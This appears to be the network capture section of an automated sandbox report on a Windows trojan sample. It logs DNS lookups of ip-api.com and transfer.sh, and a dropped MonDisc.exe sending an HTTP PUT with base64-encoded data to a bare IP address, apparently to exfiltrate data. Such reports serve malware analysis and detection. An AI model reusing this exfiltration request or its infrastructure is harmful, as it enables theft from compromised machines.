May 14, 2023 04:35:47.657083035 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.657110929 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.657124996 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.657138109 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.657171965 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.657201052 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.657207966 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.657253981 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.657259941 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.657284975 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.657325983 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.657326937 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.657342911 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.657351971 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.657423019 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.658353090 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.672900915 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.672943115 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.673080921 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.673110962 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.673134089 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.674042940 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.674084902 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.674148083 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.674164057 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.674189091 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.674190044 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.674227953 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.674230099 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.674247026 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.674267054 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.674307108 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.674335003 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.674376965 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.674406052 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.674453974 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.674463034 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.674479008 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.674539089 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.674571991 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.674604893 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.674613953 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.674648046 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.674674034 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.674710035 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.674738884 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.674789906 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.674797058 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.674817085 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.674839020 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.674913883 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.674947977 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.674992085 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.675002098 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.675033092 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.675045013 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.675088882 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.675117970 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.675165892 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.675173044 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.675206900 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.675221920 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.675287962 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.675309896 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.675362110 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.675369978 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.675410986 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.675420046 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.675476074 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.675497055 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.675546885 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.675554991 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.675585032 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.675602913 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.675698996 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.675719023 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.675770998 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.675781012 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.675808907 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.675825119 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.675905943 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.675925970 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.675981045 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.675987959 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.676016092 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.676032066 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.676110029 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.676131964 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.676186085 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.676194906 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.676229954 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.676249981 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.676376104 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.676397085 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.676440954 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.676450968 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.676477909 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.676496983 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.676681995 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.676711082 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.676749945 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.676759958 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.676784992 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.676804066 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.676970005 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.676991940 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.677041054 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.677051067 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.677077055 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.677093983 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.677268982 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.677290916 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.677335978 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.677345037 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.677371025 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.677386999 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.677617073 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.677644968 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.677707911 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.677719116 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.677745104 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.677761078 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.677867889 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.677901983 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.677949905 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.677959919 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.677983999 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.678040981 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.678148031 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.678177118 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.678225994 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.678235054 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.678262949 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.678287029 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.678431988 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.678456068 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.678510904 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.678520918 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.678553104 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.678570032 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.678734064 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.678803921 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.678806067 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.678822041 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.678877115 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.678891897 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.678985119 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.679007053 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.679060936 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.679069042 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.679102898 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.679117918 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.679327965 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.679354906 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.679426908 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.679439068 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.679477930 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.679493904 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.700505972 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.705955982 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.706667900 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.706702948 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.706784010 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.706795931 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.706818104 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.706850052 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.706882000 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.706892014 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.706912994 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.706934929 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.706964970 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.706974983 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.706996918 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.707014084 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.707037926 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.707041979 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.707050085 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.707078934 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.707099915 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.707117081 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.707122087 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.707129955 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.707178116 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.707207918 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.707211971 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.707222939 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.707273960 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.707284927 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.707293987 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.707304001 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.707338095 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.707366943 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.707367897 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.707381964 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.707415104 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.707417965 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.707426071 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.707456112 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.707464933 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.707479954 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.707482100 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.707500935 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.707561970 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.707600117 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.707612038 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.707628965 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.707648993 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.707680941 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.707703114 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.707726955 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.707747936 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.707756996 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.707782984 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.707801104 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.707818031 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.707849026 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.707882881 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.707890987 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.707952023 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.707983017 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.729898930 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.730026007 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.730041981 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:47.730113029 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.800245047 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:47.812405109 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:48.133939028 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:48.133975983 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:54.692399025 CEST	49705	80	192.168.2.3	208.95.112.1
May 14, 2023 04:35:54.693011999 CEST	49707	80	192.168.2.3	185.159.129.168
May 14, 2023 04:36:02.922004938 CEST	49711	80	192.168.2.3	208.95.112.1
May 14, 2023 04:36:02.951092005 CEST	80	49711	208.95.112.1	192.168.2.3
May 14, 2023 04:36:02.952450991 CEST	49711	80	192.168.2.3	208.95.112.1
May 14, 2023 04:36:02.964309931 CEST	49711	80	192.168.2.3	208.95.112.1
May 14, 2023 04:36:03.001610994 CEST	80	49711	208.95.112.1	192.168.2.3
May 14, 2023 04:36:03.002250910 CEST	49711	80	192.168.2.3	208.95.112.1
May 14, 2023 04:36:03.103246927 CEST	49712	80	192.168.2.3	185.159.130.81
May 14, 2023 04:36:06.121309042 CEST	49712	80	192.168.2.3	185.159.130.81
May 14, 2023 04:36:09.893712997 CEST	49701	80	192.168.2.3	185.159.129.168
May 14, 2023 04:36:09.959261894 CEST	80	49701	185.159.129.168	192.168.2.3
May 14, 2023 04:36:12.218029976 CEST	49712	80	192.168.2.3	185.159.130.81
May 14, 2023 04:36:24.333372116 CEST	49713	80	192.168.2.3	185.159.129.168
May 14, 2023 04:36:24.395253897 CEST	80	49713	185.159.129.168	192.168.2.3
May 14, 2023 04:36:24.395689011 CEST	49713	80	192.168.2.3	185.159.129.168
May 14, 2023 04:36:24.396056890 CEST	49713	80	192.168.2.3	185.159.129.168
May 14, 2023 04:36:24.458292007 CEST	80	49713	185.159.129.168	192.168.2.3
May 14, 2023 04:36:24.458365917 CEST	80	49713	185.159.129.168	192.168.2.3
May 14, 2023 04:36:24.458477974 CEST	49713	80	192.168.2.3	185.159.129.168
May 14, 2023 04:36:24.469862938 CEST	49714	80	192.168.2.3	185.149.146.118
May 14, 2023 04:36:24.492127895 CEST	80	49714	185.149.146.118	192.168.2.3
May 14, 2023 04:36:24.492230892 CEST	49714	80	192.168.2.3	185.149.146.118
May 14, 2023 04:36:24.492743969 CEST	49714	80	192.168.2.3	185.149.146.118
May 14, 2023 04:36:24.514920950 CEST	80	49714	185.149.146.118	192.168.2.3
May 14, 2023 04:36:24.647268057 CEST	80	49714	185.149.146.118	192.168.2.3
May 14, 2023 04:36:24.647306919 CEST	80	49714	185.149.146.118	192.168.2.3
May 14, 2023 04:36:24.647423029 CEST	49714	80	192.168.2.3	185.149.146.118
May 14, 2023 04:36:51.725635052 CEST	80	49708	144.76.136.153	192.168.2.3
May 14, 2023 04:36:51.725814104 CEST	49708	80	192.168.2.3	144.76.136.153
May 14, 2023 04:37:00.665853977 CEST	80	49711	208.95.112.1	192.168.2.3
May 14, 2023 04:37:00.665947914 CEST	49711	80	192.168.2.3	208.95.112.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 14, 2023 04:34:20.041049004 CEST	49977	53	192.168.2.3	8.8.8.8
May 14, 2023 04:34:20.077121019 CEST	53	49977	8.8.8.8	192.168.2.3
May 14, 2023 04:34:41.854862928 CEST	57840	53	192.168.2.3	8.8.8.8
May 14, 2023 04:34:41.876765966 CEST	53	57840	8.8.8.8	192.168.2.3
May 14, 2023 04:35:23.755098104 CEST	52387	53	192.168.2.3	8.8.8.8
May 14, 2023 04:35:23.793962002 CEST	53	52387	8.8.8.8	192.168.2.3
May 14, 2023 04:36:02.891690016 CEST	60625	53	192.168.2.3	8.8.8.8
May 14, 2023 04:36:02.918695927 CEST	53	60625	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 14, 2023 04:34:20.041049004 CEST	192.168.2.3	8.8.8.8	0x88e7	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
May 14, 2023 04:34:41.854862928 CEST	192.168.2.3	8.8.8.8	0x241a	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)	false
May 14, 2023 04:35:23.755098104 CEST	192.168.2.3	8.8.8.8	0x3528	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
May 14, 2023 04:36:02.891690016 CEST	192.168.2.3	8.8.8.8	0x6673	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
May 14, 2023 04:34:20.077121019 CEST	8.8.8.8	192.168.2.3	0x88e7	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
May 14, 2023 04:34:41.876765966 CEST	8.8.8.8	192.168.2.3	0x241a	No error (0)	transfer.sh	144.76.136.153	A (IP address)	IN (0x0001)	false
May 14, 2023 04:35:23.793962002 CEST	8.8.8.8	192.168.2.3	0x3528	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
May 14, 2023 04:36:02.918695927 CEST	8.8.8.8	192.168.2.3	0x6673	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

transfer.sh

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49703	144.76.136.153	443	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49709	144.76.136.153	443	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49714	185.149.146.118	80	C:\Users\user\AppData\Roaming\MonDisc.exe

Timestamp	kBytes transferred	Direction	Data
May 14, 2023 04:36:24.492743969 CEST	3371	OUT	PUT /clpr/OWUsODMsODQsOWIsOWYsODIsOGEsOTIsNjgsN2Us HTTP/1.1 Content-Type: application/json User-Agent: Cat Host: 185.149.146.118 Content-Length: 599 Cache-Control: no-cache Data Raw: 7b 22 64 61 74 61 22 3a 22 59 57 59 73 59 54 55 73 5a 47 59 73 5a 44 49 73 59 7a 51 73 5a 44 4d 73 59 6a 59 73 59 7a 45 73 5a 47 55 73 4f 47 59 73 4f 47 51 73 4f 44 63 73 4e 54 6b 73 5a 54 45 73 59 7a 49 73 59 57 4d 73 4f 54 63 73 4f 44 67 73 4f 44 55 73 4f 44 55 73 4e 6d 51 73 59 6a 63 73 59 6a 49 73 4f 57 4d 73 4f 44 6b 73 4f 57 51 73 59 57 51 73 59 54 4d 73 59 6a 4d 73 4f 57 49 73 4f 44 67 73 4e 7a 67 73 4f 44 55 73 4e 32 45 73 59 57 59 73 4f 54 63 73 4f 44 6b 73 59 6a 45 73 4e 7a 67 73 59 6a 41 73 59 6a 4d 73 4f 47 49 73 4f 57 45 73 4f 44 67 73 4e 7a 6b 73 59 57 59 73 4f 44 51 73 4f 44 55 73 4e 6d 4d 73 4f 47 4d 73 4e 6a 63 73 59 6a 67 73 59 54 59 73 5a 47 59 73 5a 47 55 73 5a 47 49 73 59 32 45 73 59 32 51 73 5a 54 6b 73 59 54 67 73 59 54 41 73 4f 57 4d 73 4f 47 45 73 4e 6a 63 73 4f 44 51 73 4e 6d 4d 73 4f 57 4d 73 5a 44 63 73 59 7a 63 73 5a 44 4d 73 59 6a 59 73 59 6a 55 73 5a 54 49 73 59 6a 4d 73 59 7a 59 73 59 6a 63 73 59 57 51 73 59 54 41 73 59 6d 55 73 59 6a 67 73 4f 54 67 73 59 6d 51 73 59 6d 45 73 4f 54 49 73 4e 6a 67 73 59 54 49 73 59 54 41 73 4f 54 51 73 4f 44 63 73 4f 57 45 73 59 6a 41 73 4f 54 6b 73 4f 57 55 73 4f 54 6b 73 4f 44 63 73 4e 6a 45 73 4f 44 41 73 4e 7a 41 73 4f 57 4d 73 59 7a 55 73 59 7a 4d 73 5a 54 4d 73 59 6a 49 73 5a 57 4d 73 5a 57 4d 73 59 32 49 73 4f 54 45 73 4f 54 59 73 4e 32 49 73 59 54 41 73 59 6a 41 73 59 57 4d 73 59 54 63 73 59 7a 51 73 4e 32 55 73 4f 57 51 73 59 57 4d 73 5a 54 41 73 5a 44 4d 73 5a 44 51 73 59 6a 67 73 59 32 51 73 5a 54 6b 73 5a 44 49 73 4f 54 4d 73 5a 44 6b 73 59 6d 51 73 59 54 41 73 59 6a 45 73 59 6a 4d 73 5a 54 55 73 5a 44 41 73 59 6a 6b 73 59 57 49 73 4f 44 6b 73 5a 57 51 73 5a 57 4d 73 59 7a 45 73 59 7a 51 73 59 6a 67 73 4e 6a 49 73 5a 44 51 73 59 7a 49 73 59 6a 55 73 4f 57 4d 73 59 57 55 73 59 54 6b 3d 22 7d Data Ascii: {"data":"YWYsYTUsZGYsZDIsYzQsZDMsYjYsYzEsZGUsOGYsOGQsODcsNTksZTEsYzIsYWMsOTcsODgsODUsODUsNmQsYjcsYjIsOWMsODksOWQsYWQsYTMsYjMsOWIsODgsNzgsODUsN2EsYWYsOTcsODksYjEsNzgsYjAsYjMsOGIsOWEsODgsNzksYWYsODQsODUsNmMsOGMsNjcsYjgsYTYsZGYsZGUsZGIsY2EsY2QsZTksYTgsYTAsOWMsOGEsNjcsODQsNmMsOWMsZDcsYzcsZDMsYjYsYjUsZTIsYjMsYzYsYjcsYWQsYTAsYmUsYjgsOTgsYmQsYmEsOTIsNjgsYTIsYTAsOTQsODcsOWEsYjAsOTksOWUsOTksODcsNjEsODAsNzAsOWMsYzUsYzMsZTMsYjIsZWMsZWMsY2IsOTEsOTYsN2IsYTAsYjAsYWMsYTcsYzQsN2UsOWQsYWMsZTAsZDMsZDQsYjgsY2QsZTksZDIsOTMsZDksYmQsYTAsYjEsYjMsZTUsZDAsYjksYWIsODksZWQsZWMsYzEsYzQsYjgsNjIsZDQsYzIsYjUsOWMsYWUsYTk="}
